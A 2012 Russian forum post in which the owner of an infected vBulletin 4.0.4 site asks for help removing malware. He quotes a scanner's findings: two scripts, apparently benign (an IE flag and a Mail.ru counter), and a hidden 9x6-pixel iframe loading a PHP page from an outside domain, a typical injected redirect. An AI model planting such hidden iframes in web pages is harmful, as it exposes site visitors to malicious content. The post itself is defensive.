Показать сообщение отдельно
Старый 28.08.2012, 11:00 Вверх   #1
Пользователь
 
Аватар для eralcoil
eralcoil вне форума
Доп. информация
Восклицание Удаление вириса с vbulletin 4.0.4

Доброго времени суток.
Прошу помощи в удалении вируса с форума.
celestialbeing.ru - на него ругается гугл и яндекс. Проверил сайт через http://www.siteguard.ru/ и были обнаружены 2 Javascript:

Код:
<script type="text/javascript"> window.LESS_THAN_IE7 = true; </script>
и
Код:
<script type="text/javascript">//<![CDATA[ var a='',js=10;try{a+=';r='+escape(document.referrer);}catch(e){}try{a+=';j='+navigator.javaEnabled();js=11;}catch(e){} try{s=screen;a+=';s='+s.width+'*'+s.height;a+=';d='+(s.colorDepth?s.colorDepth:s.pixelDepth);js=12;}catch(e){} try{if(typeof((new Array).push('t'))==="number")js=13;}catch(e){} try{document.write('<a href="http://top.mail.ru/jump?from=2193358">'+ '<img src="http://d7.c7.b1.a2.top.mail.ru/counter?id=2193358;t=175;js='+js+a+';rand='+Math.random()+ '" alt="Рейтинг@Mail.ru" style="border:0;" height="15" width="88" \/><\/a>');}catch(e){}//]]></script>

а так же 1 IFrame:

Код:
<iframe width='9' height='6' src='http://www.flepstudio.org/od.php' frameborder='0' scrolling='no'>
Является ли это вирусами?
Запутался каким образом их найти и как удалить эти скрипты?
В поиск через админку в шаблонах? все облазил, что требуется удалить не смог найти. Прошу помочь. Спасибо за внимание
  Ответить с цитированием
 
Время генерации страницы 0.05968 секунды с 9 запросами